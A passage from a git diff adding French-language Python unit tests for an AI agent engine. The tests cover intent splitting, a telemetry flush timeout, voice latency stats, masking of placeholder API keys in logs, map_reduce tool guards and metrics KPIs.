task_id="t2", depends_on=["t1"]), + ] + serialise = Engine._serialiser_dag(origine) + hitl_store.enregistrer_demande( + request_id="r_fidele", session_id="s", dag_tasks=serialise, description="", + ) + + relu = [TaskPayload(**t) for t in hitl_store.lire_demande("r_fidele")["dag_tasks"]] + + assert [t.task_objective for t in relu] == ["Écrire A", "Vérifier A"] + assert relu[0].available_tools == ["write_file"] + assert relu[1].depends_on == ["t1"] + assert relu[0].status == origine[0].status + + +@pytest.mark.asyncio +async def test_notification_sse_emise_sans_blocage(): + """La demande non bloquante notifie l'IHM et rend la main immédiatement.""" + evenements: list = [] + + async def _on_event(nom, data): + evenements.append((nom, data)) + + hitl = HITLManager() + await hitl.demander_sans_bloquer( + request_id="r_sse", session_id="s", dag_tasks=_dag_exemple(), + description="2 tâches à risque", risk_level="high", on_event=_on_event, + ) + + assert [n for n, _ in evenements] == ["approval_required"] + assert evenements[0][1]["non_bloquant"] is True + assert hitl_store.lire_demande("r_sse") is not None diff --git a/tests/unit/test_intent_splitter.py b/tests/unit/test_intent_splitter.py new file mode 100644 index 0000000..323e4da --- /dev/null +++ b/tests/unit/test_intent_splitter.py @@ -0,0 +1,148 @@ +""" +test_intent_splitter.py — Le découpage multi-intent ne hache plus les consignes (#T264). + +Contexte mesuré le 10/08 en production : `/api/run` recevait une consigne +structurée d'une dizaine de lignes et la découpait en **5 « intents »** +exécutés en parallèle, dont « CONTRAINTE : utilise UNIQUEMENT l'outil +read_file » lancée comme une tâche, et « dans une tâche finale UNIQUE dépendant +des trois » devenue un fragment isolé qui ne dépendait plus de rien. 4 fragments +sur 5 ont fini en timeout. + +Le rejeu des **1304 requêtes réelles** de production (vocal_audit_log + +sessions) a montré que 40 d'entre elles étaient découpées, dont toutes les +requêtes vocales à contexte injecté (« Question utilisateur : … Données +récupérées : … »), coupées en 5 morceaux. Après correctif : 3, et aucune +régression. + +Les cas ci-dessous sont donc tirés du trafic réel, pas inventés. +""" + +import os +import sys + +import pytest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) + +from core.intent_splitter import LONGUEUR_MAX_DECOUPAGE, IntentSplitter + + +@pytest.fixture +def splitter(): + return IntentSplitter() + + +# Le prompt exact qui partait en 5 intents en production le 10/08. +CONSIGNE_STRUCTUREE = ( + "Analyse en LECTURE SEULE trois fichiers de ce depot : deploy/README.md, pyproject.toml " + "et docs/design_provider_plugin_contract.md. Ces trois lectures sont INDEPENDANTES : " + "traite-les en parallele dans un meme stage. Pour chacun, resume en 3 points. Puis, dans " + "une tache finale UNIQUE dependant des trois, produis une synthese comparative. " + "CONTRAINTE : utilise UNIQUEMENT loutil read_file." +) + +# Forme réelle des prompts vocaux : question + contexte injecté. Découpés en 5 +# fragments avant le correctif, sur du trafic quotidien. Les 7 prompts de ce +# type relevés en production mesurent entre 741 et 1343 caractères — la taille +# compte, donc l'échantillon la respecte : raccourci, il ne testerait pas le +# même chemin (c'est la garde de longueur qui les protège). +PROMPT_AVEC_CONTEXTE = ( + "Question utilisateur : Quel est mon planning du 25-7-2026 ? Données récupérées : " + "📅 10 événement(s) à venir : Réunion equipe le 25/07 à 09:00. Dentiste le 25/07 à 14:30. " + "Courses le 26/07 à 10:00. Anniversaire Paul le 27/07 à 19:00. Sport le 28/07 à 18:00. " + "Point projet le 29/07 à 11:00. Livraison colis le 29/07. Médecin le 30/07 à 08:45. " + "Déjeuner Marie le 30/07 à 12:30. Révision voiture le 31/07 à 09:00. " + "Aucun conflit détecté sur la période. Prochain créneau libre : le 25/07 entre 10:00 et 14:30." +) + + +class TestConsignesStructurees: + """Ce qui ne doit PLUS être découpé.""" + + def test_la_consigne_de_production_reste_entiere(self, splitter): + assert splitter.split(CONSIGNE_STRUCTUREE) == [CONSIGNE_STRUCTUREE] + + def test_prompt_vocal_avec_contexte_injecte(self, splitter): + assert splitter.split(PROMPT_AVEC_CONTEXTE) == [PROMPT_AVEC_CONTEXTE] + + def test_au_dela_du_seuil_de_longueur(self, splitter): + long = "Allume la lumière du salon et donne-moi la météo. " * 8 + assert len(long) > LONGUEUR_MAX_DECOUPAGE + assert splitter.split(long) == [long] + + @pytest.mark.parametrize("prompt", [ + "Lis le fichier a.py et affiche son contenu. CONTRAINTE : ne modifie rien", + "Analyse le module et donne un résumé, interdiction d'écrire un fichier", + "Vérifie la config et affiche les erreurs — utilise uniquement read_file", + ]) + def test_une_contrainte_n_est_pas_une_tache(self, splitter, prompt): + assert len(splitter.split(prompt)) == 1 + + @pytest.mark.parametrize("prompt", [ + "Lis les trois fichiers et affiche la synthèse des trois", + "Analyse le module et donne le résultat de cette tâche", + "Compile le projet et affiche les erreurs dépendant du build", + "Lis a.py et b.py et affiche leurs résultats comparés", + ]) + def test_fragment_qui_renvoie_a_un_autre(self, splitter, prompt): + assert len(splitter.split(prompt)) == 1 + + def test_verbe_orphelin(self, splitter): + """« Recherche et liste les fichiers » produisait le fragment « Recherche ».""" + prompt = "Recherche et liste les fichiers du projet dans le dossier /homeassistant" + assert splitter.split(prompt) == [prompt] + + def test_prose_dictee_avec_puis(self, splitter): + """ + Les 6 seules occurrences de « puis » dans les 1280 requêtes courtes du + corpus réel sont de la parole transcrite, pas des enchaînements de + tâches. Elles sont neutralisées par la garde du verbe orphelin — d'où le + maintien de « puis » comme marqueur (retirer le marqueur aurait cassé un + cas légitime sans rien corriger, vérifié par rejeu). + """ + prompt = "Et puis il y a des oeufs d'amour." + assert splitter.split(prompt) == [prompt] + + +class TestVraisMultiIntents: + """Ce qui doit CONTINUER d'être découpé.""" + + def test_deux_ordres_coordonnes(self, splitter): + resultat = splitter.split("Allume la lumière du salon et donne-moi la météo") + assert len(resultat) == 2 + assert "Allume la lumière du salon" in resultat[0] + assert "météo" in resultat[1] + + def test_deux_actions_sur_le_code(self, splitter): + """Cas tiré du trafic réel, toujours découpé après correctif.""" + resultat = splitter.split( + "Lis le contenu de api.py dans moteur-master et affiche la définition de la route /api/sessions" + ) + assert len(resultat) == 2 + + def test_possessif_leur_ne_bloque_pas_un_vrai_split(self, splitter): + """Bugbot : ``leurs?`` nu matchait le possessif français ordinaire.""" + resultat = splitter.split( + "Allume la lumière du salon et donne-moi la date de leur anniversaire" + ) + assert len(resultat) == 2 + assert "Allume la lumière du salon" in resultat[0] + assert "anniversaire" in resultat[1] + + +class TestNonRegression: + """Le trafic courant — court, mono-intent — n'est pas affecté.""" + + @pytest.mark.parametrize("prompt", [ + "allume la lumière du salon", + "quelle est la météo demain ?", + "Quel est mon planning du jour ?", + "éteins tout", + "il fait combien dans le salon ?", + ]) + def test_requetes_vocales_courantes(self, splitter, prompt): + assert splitter.split(prompt) == [prompt] + + def test_prompt_vide_ou_minuscule(self, splitter): + assert splitter.split("") == [""] + assert splitter.split("ok") == ["ok"] diff --git a/tests/unit/test_langfuse_flush_timeout.py b/tests/unit/test_langfuse_flush_timeout.py new file mode 100644 index 0000000..e467894 --- /dev/null +++ b/tests/unit/test_langfuse_flush_timeout.py @@ -0,0 +1,151 @@ +""" +tests/unit/test_langfuse_flush_timeout.py — Le flush ne bloque plus (#T272). + +Diagnostic du 11/08, par capture de pile `faulthandler` : la suite unitaire est +passée de 16 secondes à **plus de 10 minutes** sur un seul test — celui qui +exécute une session complète — bloquée dans `core/langfuse_bridge.py::flush`. + +Ce flush est dans le chemin de finalisation de CHAQUE session +(`Engine._finalize_session` appelle `end_trace()` puis `flush()`). En test, +c'est le garde-fou réseau qui coupe la connexion ; en production, ce sera une +coupure Internet ou une panne du service Langfuse. Le `try/except` qui +l'entourait ne protégeait de rien : une ATTENTE n'est pas une exception. + +Le test qui prouve la tâche est `test_flush_lent_rend_la_main` : il MESURE le +temps écoulé. Sans borne, il ne se termine pas avant 10 secondes. +""" + +import logging +import time + +import pytest + +from core.langfuse_bridge import LangfuseBridge + + +class _ClientLent: + """Client dont le flush ne répond jamais assez vite (réseau coupé).""" + + def __init__(self, duree=10.0): + self.duree = duree + self.flush_appele = False + + def flush(self): + self.flush_appele = True + time.sleep(self.duree) + + def shutdown(self): + time.sleep(self.duree) + + +class _ClientNormal: + def __init__(self): + self.flushs = 0 + self.shutdowns = 0 + + def flush(self): + self.flushs += 1 + + def shutdown(self): + self.shutdowns += 1 + + +class _ClientQuiEchoue: + def flush(self): + raise ConnectionError("serveur Langfuse injoignable") + + def shutdown(self): + raise ConnectionError("serveur Langfuse injoignable") + + +def _bridge(client, monkeypatch, timeout="1"): + monkeypatch.setenv("MOTEUR_LANGFUSE_FLUSH_TIMEOUT_S", timeout) + bridge = LangfuseBridge.__new__(LangfuseBridge) + bridge._enabled = True + bridge._client = client + return bridge + + +def test_flush_lent_rend_la_main(monkeypatch): + """LE test de la tâche : un flush de 10 s ne retient pas l'appelant.""" + client = _ClientLent(duree=10.0) + bridge = _bridge(client, monkeypatch, timeout="1") + + debut = time.monotonic() + bridge.flush() + ecoule = time.monotonic() - debut + + assert ecoule < 2.0, f"le flush a retenu l'appelant {ecoule:.1f}s" + assert client.flush_appele, "l'envoi doit bien être tenté, seulement pas attendu" + + +def test_flush_lent_journalise_un_avertissement(monkeypatch, caplog): + bridge = _bridge(_ClientLent(duree=10.0), monkeypatch, timeout="1") + + with caplog.at_level(logging.WARNING, logger="core.langfuse_bridge"): + bridge.flush() + + assert any("abandonné" in m for m in caplog.messages), caplog.messages + + +def test_flush_lent_ne_leve_aucune_exception(monkeypatch): + """La fin de session ne doit jamais échouer à cause de la télémétrie.""" + bridge = _bridge(_ClientLent(duree=10.0), monkeypatch, timeout="1") + bridge.flush() # ne lève pas + + +def test_client_normal_inchange(monkeypatch): + client = _ClientNormal() + bridge = _bridge(client, monkeypatch, timeout="5") + + debut = time.monotonic() + bridge.flush() + assert time.monotonic() - debut < 1.0 + assert client.flushs == 1 + + +def test_shutdown_borne_aussi(monkeypatch): + """`shutdown()` appelle aussi `flush()` : il doit être borné de la même façon.""" + bridge = _bridge(_ClientLent(duree=10.0), monkeypatch, timeout="1") + + debut = time.monotonic() + bridge.shutdown() + + assert time.monotonic() - debut < 2.0 + + +def test_shutdown_normal_ferme_le_client(monkeypatch): + client = _ClientNormal() + bridge = _bridge(client, monkeypatch, timeout="5") + bridge.shutdown() + assert (client.flushs, client.shutdowns) == (1, 1) + + +def test_erreur_reseau_reste_absorbee(monkeypatch, caplog): + """Une exception du client ne doit pas remonter (comportement d'avant conservé).""" + bridge = _bridge(_ClientQuiEchoue(), monkeypatch, timeout="1") + + with caplog.at_level(logging.WARNING, logger="core.langfuse_bridge"): + bridge.flush() + + assert any("injoignable" in m for m in caplog.messages) + + +def test_bridge_desactive_ne_fait_rien(monkeypatch): + bridge = LangfuseBridge.__new__(LangfuseBridge) + bridge._enabled = False + bridge._client = None + bridge.flush() + bridge.shutdown() # aucun effet, aucune exception + + +@pytest.mark.parametrize("valeur,attendu", [("2.5", 2.5), ("0.05", 0.1), ("vite", 5.0), ("", 5.0)]) +def test_lecture_du_delai(monkeypatch, valeur, attendu): + """Délai surchargeable, plancher à 0,1 s, valeur illisible ignorée.""" + monkeypatch.setenv("MOTEUR_LANGFUSE_FLUSH_TIMEOUT_S", valeur) + assert LangfuseBridge._timeout_flush() == attendu + + +def test_delai_par_defaut(monkeypatch): + monkeypatch.delenv("MOTEUR_LANGFUSE_FLUSH_TIMEOUT_S", raising=False) + assert LangfuseBridge._timeout_flush() == 5.0 diff --git a/tests/unit/test_latence_vocale.py b/tests/unit/test_latence_vocale.py new file mode 100644 index 0000000..e5aa4e3 --- /dev/null +++ b/tests/unit/test_latence_vocale.py @@ -0,0 +1,113 @@ +"""test_latence_vocale.py — #T270. + +La latence vocale n'était mesurée que sur 6 % des échanges, et le chiffre +affiché était faux d'un facteur 16. + +Deux défauts distincts, un test pour chacun : + +1. `VocalAuditTimer.elapsed_ms` n'était calculé que dans `__exit__`, alors que + les 14 appels à `log_vocal_response(..., latency_ms=timer.elapsed_ms)` le + lisent À L'INTÉRIEUR du bloc `with`. Tous enregistraient donc `0.0`. + Mesuré en prod : 394 réponses à `latency_ms = 0`, 26 valeurs réelles, 0 NULL. + +2. `/api/vocal/stats` filtrait `latency_ms IS NOT NULL`, ce qui laissait passer + les 394 zéros dans la moyenne : 123 ms affichés contre 1991 ms réels. +""" +import time + +import pytest + +from api.routes.vocal import _percentile +from core.vocal_audit import VocalAuditTimer + + +class TestTimerLuDansLeBloc: + """Le défaut d'origine : la valeur était lue une ligne trop tôt.""" + + def test_lecture_pendant_le_bloc_donne_une_vraie_mesure(self): + """C'est LE test de régression : avant le correctif, il valait 0.0.""" + with VocalAuditTimer() as timer: + time.sleep(0.02) + # Exactement ce que font les 14 appels de api/routes/agents.py : + # lire la latence sans être sorti du bloc. + mesure_pendant = timer.elapsed_ms + + assert mesure_pendant > 0, "la latence lue dans le bloc ne doit plus être nulle" + assert mesure_pendant >= 15, f"~20 ms attendues, obtenu {mesure_pendant:.1f} ms" + + def test_lecture_apres_le_bloc_reste_figee(self): + """Sortir du bloc fige la mesure : deux lectures donnent la même valeur.""" + with VocalAuditTimer() as timer: + time.sleep(0.01) + + premiere = timer.elapsed_ms + time.sleep(0.02) + assert timer.elapsed_ms == premiere, "la mesure doit être figée après __exit__" + + def test_la_mesure_progresse_pendant_le_bloc(self): + with VocalAuditTimer() as timer: + time.sleep(0.01) + debut = timer.elapsed_ms + time.sleep(0.02) + fin = timer.elapsed_ms + + assert fin > debut + + def test_timer_jamais_demarre_ne_ment_pas(self): + """Instancié hors d'un `with` : 0.0, et surtout pas une durée inventée.""" + assert VocalAuditTimer().elapsed_ms == 0.0 + + +class TestPercentiles: + """Les percentiles exposés par /api/vocal/stats.""" + + def test_sur_liste_vide(self): + assert _percentile([], 50) is None + assert _percentile([], 90) is None + + def test_valeurs_connues(self): + valeurs = [float(x) for x in range(1, 101)] # 1..100 triées + assert _percentile(valeurs, 50) == 51.0 + assert _percentile(valeurs, 90) == 91.0 + + def test_ne_deborde_pas_sur_p100(self): + valeurs = [1.0, 2.0, 3.0] + assert _percentile(valeurs, 100) == 3.0 + + def test_element_unique(self): + assert _percentile([42.0], 50) == 42.0 + assert _percentile([42.0], 90) == 42.0 + + +class TestZeroNestPasUneMesure: + """Le second défaut : 0 ms signifie « jamais mesuré », pas « instantané ».""" + + def test_la_moyenne_ignore_les_zeros(self): + """Reproduit le calcul de la route sur les proportions réelles de la prod. + + 394 zéros + 26 mesures à ~1991 ms : l'ancien filtre `IS NOT NULL` donnait + 123 ms, le nouveau doit rendre la vraie moyenne des mesures valides. + """ + brut = [0.0] * 394 + [1991.0] * 26 + + ancien = sum(brut) / len(brut) # IS NOT NULL : les zéros comptent + nouveau_ech = [v for v in brut if v > 0] # > 0 : seules les vraies mesures + nouveau = sum(nouveau_ech) / len(nouveau_ech) + + assert round(ancien) == 123, "l'ancien calcul diluait bien la moyenne" + assert nouveau == 1991.0 + assert nouveau / ancien > 15, "l'écart mesuré en prod était d'un facteur 16" + + def test_le_denominateur_est_expose(self): + """`echantillon` / `non_mesurees` : une moyenne sans son assiette ne vaut rien.""" + reponses = 420 + mesures = [1991.0] * 26 + assert len(mesures) == 26 + assert max(0, reponses - len(mesures)) == 394 + + +@pytest.mark.parametrize("p", [50, 90]) +def test_percentiles_coherents_avec_la_moyenne(p): + """Garde-fou : sur une distribution plate, percentiles et moyenne se tiennent.""" + valeurs = [100.0] * 50 + assert _percentile(valeurs, p) == 100.0 diff --git a/tests/unit/test_log_redaction.py b/tests/unit/test_log_redaction.py new file mode 100644 index 0000000..c85af57 --- /dev/null +++ b/tests/unit/test_log_redaction.py @@ -0,0 +1,129 @@ +""" +test_log_redaction.py — Masquage des secrets dans les journaux (#T262). + +Les cas de test reprennent la fuite RÉELLE constatée en prod le 10/08 (clé +remplacée par une valeur factice) et, surtout, son **chemin** : le secret n'était +pas dans un message écrit à la main, il voyageait dans le texte d'une +`requests.HTTPError` relayée par des modules qui ignorent tout de Gemini. Un +test qui ne vérifierait qu'un `logger.info("clé=...")` raterait exactement ce +qui s'est passé. +""" + +import io +import logging +import os +import sys + +import pytest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) + +from core.log_redaction import FiltreRedaction, installer_redaction, masquer_secrets + +CLE_FACTICE = "AIzaSyFAKE0123456789abcdefGHIJKLmnopqr" +URL_FUITEE = ( + "400 Client Error: Bad Request for url: " + f"https://generativelanguage.googleapis.com/v1beta/models/gemini-3.5-flash:generateContent?key={CLE_FACTICE}" +) + + +class TestMasquage: + def test_cle_en_parametre_d_url(self): + masque = masquer_secrets(URL_FUITEE) + assert CLE_FACTICE not in masque + assert "key=***" in masque + # Le contexte reste lisible : on doit toujours savoir quel appel a échoué. + assert "gemini-3.5-flash:generateContent" in masque + assert "400 Client Error" in masque + + def test_cle_google_hors_url(self): + assert CLE_FACTICE not in masquer_secrets(f"clé chargée : {CLE_FACTICE}") + + @pytest.mark.parametrize("secret,attendu", [ + ("Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6", "Bearer ***"), + ("clé openai sk-proj-abcdefghijklmnopqrstuvwx", "sk-proj-***"), + ("HF token hf_abcdefghijklmnopqrstuvwxyz", "hf_***"), + ('{"password": "MotDePasseSuperSecret42"}', "***"), + ("https://api.exemple/x?access_token=abcdef123456&z=1", "access_token=***"), + ]) + def test_autres_formes(self, secret, attendu): + masque = masquer_secrets(secret) + assert attendu in masque + + def test_le_reste_du_texte_est_intact(self): + texte = "[FALLBACK GATEWAY] Échec du modèle gemini-3.5-flash après 2 tentatives (CB: CLOSED)" + assert masquer_secrets(texte) == texte + + def test_texte_vide(self): + assert masquer_secrets("") == "" + + +def _logger_capture(nom: str): + """Logger isolé écrivant dans un tampon, avec le filtre installé.""" + tampon = io.StringIO() + handler = logging.StreamHandler(tampon) + handler.setFormatter(logging.Formatter("%(message)s")) + logger = logging.getLogger(nom) + logger.handlers = [handler] + logger.propagate = False + logger.setLevel(logging.DEBUG) + installer_redaction(logger) + return logger, tampon + + +class TestFiltreSurLesHandlers: + def test_message_formate_avec_f_string(self): + """Le cas exact de la fuite : l'exception interpolée dans le message.""" + logger, tampon = _logger_capture("test_redaction_f") + erreur = Exception(URL_FUITEE) + logger.warning(f"[FALLBACK GATEWAY] Échec du modèle gemini-3.5-flash : {erreur}") + + sortie = tampon.getvalue() + assert CLE_FACTICE not in sortie + assert "key=***" in sortie + + def test_message_avec_arguments(self): + logger, tampon = _logger_capture("test_redaction_args") + logger.warning("échec sur %s", URL_FUITEE) + assert CLE_FACTICE not in tampon.getvalue() + + def test_exception_en_argument_lazy(self): + """`logger.warning("… %s", exc)` : le filtre voit l'objet, pas encore str(exc).""" + logger, tampon = _logger_capture("test_redaction_exc_arg") + logger.warning("[FALLBACK GATEWAY] Échec du modèle gemini-3.5-flash : %s", Exception(URL_FUITEE)) + + sortie = tampon.getvalue() + assert CLE_FACTICE not in sortie + assert "key=***" in sortie + + def test_argument_entier_reste_formatable(self): + """Les scalaires ne doivent pas être convertis en str (sinon `%d` casse).""" + logger, tampon = _logger_capture("test_redaction_int") + logger.warning("HTTP %d sur %s", 400, "gemini-3.5-flash") + assert "HTTP 400 sur gemini-3.5-flash" in tampon.getvalue() + + def test_trace_d_exception(self): + """`exc_info=True` ré-ouvrirait la fuite par la traceback sans traitement.""" + logger, tampon = _logger_capture("test_redaction_exc") + try: + raise ValueError(URL_FUITEE) + except ValueError: + logger.error("appel Gemini en échec", exc_info=True) + + sortie = tampon.getvalue() + assert "Traceback" in sortie, "la trace doit toujours être journalisée" + assert CLE_FACTICE not in sortie + assert "key=***" in sortie + + def test_installation_idempotente(self): + logger, _ = _logger_capture("test_redaction_idem") + installer_redaction(logger) + installer_redaction(logger) + filtres = [f for f in logger.handlers[0].filters if isinstance(f, FiltreRedaction)] + assert len(filtres) == 1 + + def test_compte_les_handlers_proteges(self): + logger = logging.getLogger("test_redaction_compte") + logger.handlers = [logging.StreamHandler(io.StringIO()), logging.StreamHandler(io.StringIO())] + assert installer_redaction(logger) == 2 + assert installer_redaction(logger) == 0 # déjà protégés diff --git a/tests/unit/test_map_reduce_tool.py b/tests/unit/test_map_reduce_tool.py new file mode 100644 index 0000000..a26967c --- /dev/null +++ b/tests/unit/test_map_reduce_tool.py @@ -0,0 +1,242 @@ +""" +test_map_reduce_tool.py — Outil `map_reduce` exposé aux agents (#T245). + +Le pattern MapReduce du DAG n'avait aucun déclencheur en production ; cet outil +est ce déclencheur. Les tests couvrent surtout ses garde-fous, parce que c'est +le seul endroit du moteur où un agent peut, d'un appel, ouvrir 12 tâches +parallèles : validation des fragments, refus explicite (jamais de troncature +silencieuse), unicité du MapReduce en vol, et remise à zéro du verrou même +quand l'exécution échoue. +""" + +import asyncio +import os +import sys + +import pytest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))) + +from core.state import GlobalState, StateUpdate +from tools.dag_map_reduce import MAX_CHUNKS, register_map_reduce_tool +from tools.tool_registry import ToolRegistry + + +class _RunnerFake: + """DAGRunner minimal : mémorise l'appel et rend un résultat paramétrable.""" + + def __init__(self, resultat=None, exception=None): + self.appels = [] + self._resultat = resultat + self._exception = exception + + async def execute_map_reduce(self, payload, chunks, reduce_prompt="", on_event=None): + self.appels.append((payload, chunks, reduce_prompt)) + if self._exception: + raise self._exception + return self._resultat or StateUpdate( + agent_name="executor", status="success", result_data="synthèse finale" + ) + + +class _EngineFake: + def __init__(self, runner): + self._dag_runner = runner + self.state = GlobalState(session_id="sess_test") + + +def _outil(runner): + registry = ToolRegistry() + register_map_reduce_tool(registry, _EngineFake(runner)) + return registry + + +class TestEnregistrement: + def test_schema_expose_une_liste(self): + registry = _outil(_RunnerFake()) + schemas = {s["function"]["name"]: s for s in registry.get_all_schemas()} + + assert "map_reduce" in schemas + params = schemas["map_reduce"]["function"]["parameters"] + # Union array|string : la validation du registre passe avant la fonction, + # une liste sérialisée en chaîne JSON doit pouvoir arriver jusqu'à elle. + assert params["properties"]["chunks"]["type"] == ["array", "string"] + assert params["required"] == ["objectif", "chunks"] + + def test_timeout_et_rate_limit_dedies(self): + assert ToolRegistry._TOOL_TIMEOUTS["map_reduce"] > 60.0 + assert ToolRegistry._TOOL_RATE_LIMITS["map_reduce"] == 5 + + +class TestGardeFous: + def test_moins_de_deux_fragments_refuse(self): + registry = _outil(_RunnerFake()) + res = asyncio.run(registry.execute("map_reduce", {"objectif": "Analyser", "chunks": ["a"]})) + assert "au moins 2" in res + + def test_trop_de_fragments_refuse_sans_tronquer(self): + runner = _RunnerFake() + registry = _outil(runner) + trop = [f"f{i}" for i in range(MAX_CHUNKS + 3)] + + res = asyncio.run(registry.execute("map_reduce", {"objectif": "Analyser", "chunks": trop})) + + assert f"maximum {MAX_CHUNKS}" in res + assert runner.appels == [] # rien n'a été lancé en douce + + def test_chaine_json_acceptee(self): + runner = _RunnerFake() + registry = _outil(runner) + + res = asyncio.run( + registry.execute("map_reduce", {"objectif": "Analyser", "chunks": '["a", "b"]'}) + ) + + assert res == "synthèse finale" + assert runner.appels[0][1] == ["a", "b"] + + def test_chaine_non_json_refusee(self): + registry = _outil(_RunnerFake()) + res = asyncio.run( + registry.execute("map_reduce", {"objectif": "Analyser", "chunks": "a, b"}) + ) + assert "tableau JSON" in res + + def test_un_seul_mapreduce_en_vol(self): + runner = _RunnerFake() + runner._mapreduce_tool_en_vol = 1 + registry = _outil(runner) + + res = asyncio.run( + registry.execute("map_reduce", {"objectif": "Analyser", "chunks": ["a", "b"]}) + ) + + assert "déjà en cours" in res + assert runner.appels == [] + + def test_sans_dag_runner(self): + class _EngineSansRunner: + state = GlobalState(session_id="s") + + registry = ToolRegistry() + register_map_reduce_tool(registry, _EngineSansRunner()) + res = asyncio.run( + registry.execute("map_reduce", {"objectif": "Analyser", "chunks": ["a", "b"]}) + ) + assert "aucun DAGRunner" in res + + +class TestExecution: + def test_succes_transmet_objectif_et_libere_le_verrou(self): + runner = _RunnerFake() + registry = _outil(runner) + + res = asyncio.run( + registry.execute( + "map_reduce", + {"objectif": "Résumer le fichier", "chunks": ["a", "b"], "reduce_prompt": "Fusionne"}, + ) + ) + + assert res == "synthèse finale" + payload, chunks, reduce_prompt = runner.appels[0] + assert payload.task_objective == "Résumer le fichier" + assert payload.metadata["target_agent"] == "executor" + assert payload.metadata["session_id"] == "sess_test" + assert chunks == ["a", "b"] + assert reduce_prompt == "Fusionne" + assert runner._mapreduce_tool_en_vol == 0 + + def test_echec_du_dag_remonte_et_libere_le_verrou(self): + runner = _RunnerFake( + resultat=StateUpdate(agent_name="executor", status="error", error_message="tout a cassé") + ) + registry = _outil(runner) + + res = asyncio.run( + registry.execute("map_reduce", {"objectif": "Analyser", "chunks": ["a", "b"]}) + ) + + assert "MapReduce échoué" in res and "tout a cassé" in res + assert runner._mapreduce_tool_en_vol == 0 + + def test_exception_libere_le_verrou(self): + runner = _RunnerFake(exception=RuntimeError("boum")) + registry = _outil(runner) + + res = asyncio.run( + registry.execute("map_reduce", {"objectif": "Analyser", "chunks": ["a", "b"]}) + ) + + assert "boum" in res + assert runner._mapreduce_tool_en_vol == 0 + # Un second appel doit repasser, le verrou n'est pas resté coincé + runner._exception = None + res2 = asyncio.run( + registry.execute("map_reduce", {"objectif": "Analyser", "chunks": ["a", "b"]}) + ) + assert res2 == "synthèse finale" + + +@pytest.mark.parametrize("chunks", [None, 42, {"a": 1}]) +def test_types_invalides_refuses(chunks): + registry = _outil(_RunnerFake()) + res = asyncio.run(registry.execute("map_reduce", {"objectif": "Analyser", "chunks": chunks})) + assert "Erreur" in res + + +class _AgentCapteur: + """Agent mocké qui mémorise les payloads et répond en succès.""" + + def __init__(self, name="executor"): + self.name = name + self.payloads = [] + + async def invoke(self, payload): + self.payloads.append(payload) + return StateUpdate( + agent_name=self.name, status="success", result_data=f"vu:{payload.task_id}", metadata={} + ) + + +def test_bout_en_bout_avec_un_vrai_dag_runner(): + """ + Câblage réel : outil → DAGRunner → agents. Sans DAG actif, le runner passe + par son repli synchrone — c'est le chemin qu'emprunterait un appel depuis + une session sans plan, et il n'avait jamais tourné en conditions réelles. + """ + from core.dag_runner import DAGRunner + + agent = _AgentCapteur() + + class _EngineComplet: + def __init__(self): + self.state = GlobalState(session_id="sess_e2e") + self.agents = {"executor": agent} + self.context_manager = None + self.on_event = None + self._dag_runner = None + + engine = _EngineComplet() + engine._dag_runner = DAGRunner(engine) + + registry = ToolRegistry() + register_map_reduce_tool(registry, engine) + + res = asyncio.run( + registry.execute( + "map_reduce", + {"objectif": "Résumer", "chunks": ["A", "B", "C"], "reduce_prompt": "Fusionne"}, + ) + ) + + ids = [p.task_id for p in agent.payloads] + tiers = {p.task_id: p.metadata.get("model_tier") for p in agent.payloads} + maps = [i for i in ids if "_map_" in i] + reduces = [i for i in ids if i.endswith("_reduce")] + + assert len(maps) == 3 and len(reduces) == 1 + assert all(tiers[m] == "leger" for m in maps) # #T245 : maps en gratuit + assert tiers[reduces[0]] == "fort" # …reduce sur le cerveau + assert "vu:" in res + assert engine._dag_runner._mapreduce_tool_en_vol == 0 diff --git a/tests/unit/test_metrics_kpis.py b/tests/unit/test_metrics_kpis.py new file mode 100644 index 0000000..45c6f6f --- /dev/null +++ b/tests/unit/test_metrics_kpis.py @@ -0,0 +1,152 @@ +"""Tests des KPI d'observabilité de l'IHM (#T294). + +Historique : la vue « Observabilité » affichait COÛT TOTAL $0.0000 et SESSIONS 0 +au-dessus d'un tableau « Usage par modèle » à plusieurs dizaines de centimes. +Cause racine : cinq requêtes de api/routes/metrics.py interrogeaient des colonnes +inexistantes dans moteur_runtime.db (schéma hérité de l'ancien session_history.db). +_safe_query attrapait l'OperationalError, journalisait un simple warning et +retournait [] — que l'appelant convertissait en 0 : une exception déguisée en +mesure, jamais signalée. + +Garde-fou : ces tests tournent contre une base créée par le VRAI schéma du dépôt +(runtime_db._init_schema via override_db_path + get_connection), jamais par un +CREATE TABLE écrit à la main dans le test — un test qui écrirait son propre +schéma validerait une hypothèse au lieu du schéma réel, c'est le mécanisme qui a +laissé ces cinq requêtes pourrir (modèle : test_billing_history_schema.py). +""" +import logging +import sqlite3 +import time + +import pytest + +from core import runtime_db + + +def _base_au_vrai_schema(tmp_path, name: str) -> str: + """Crée une base temporaire avec le schéma réel du dépôt.""" + db = tmp_path / name + runtime_db.override_db_path(str(db)) + runtime_db.get_connection().close() # déclenche _init_schema + return str(db) + + +def _insert_usage(conn: sqlite3.Connection, rows: list[tuple]) -> None: + """Insère des lignes de consommation (colonnes réelles de token_usage).""" + conn.executemany( + "INSERT INTO token_usage (session_id, timestamp, model, prompt_tokens, " + "completion_tokens, total_tokens, cost_usd, channel, agent_name) " + "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?)", + rows, + ) + + +async def test_kpis_egalent_la_somme_du_tableau_et_les_sessions(tmp_path): + """KPI coût == somme des cost_usd de model_stats ; KPI sessions == sessions insérées. + + Échoue sur master : _get_kpis interroge quota_snapshots.estimated_cost_usd + (colonne inexistante) et sessions.start_time → _safe_query rend [] → 0, au + -dessus d'un tableau « Usage par modèle » qui, lui, lit token_usage correctement. + """ + db = _base_au_vrai_schema(tmp_path, "metrics_central.db") + now = time.time() + + conn = sqlite3.connect(db) + try: + # token_usage : 2 lignes dans la fenêtre (0,10 + 0,20 = 0,30 $), 1 hors fenêtre. + _insert_usage(conn, [ + ("s1", now - 3600, "modele-a", 100, 50, 150, 0.10, "api", "agent-1"), + ("s2", now - 7200, "modele-b", 200, 100, 300, 0.20, "api", None), + ("s3", now - 3 * 86400, "modele-c", 50, 10, 60, 0.05, "api", "agent-2"), + ]) + # sessions : 2 dans la fenêtre, 1 hors. + conn.executemany( 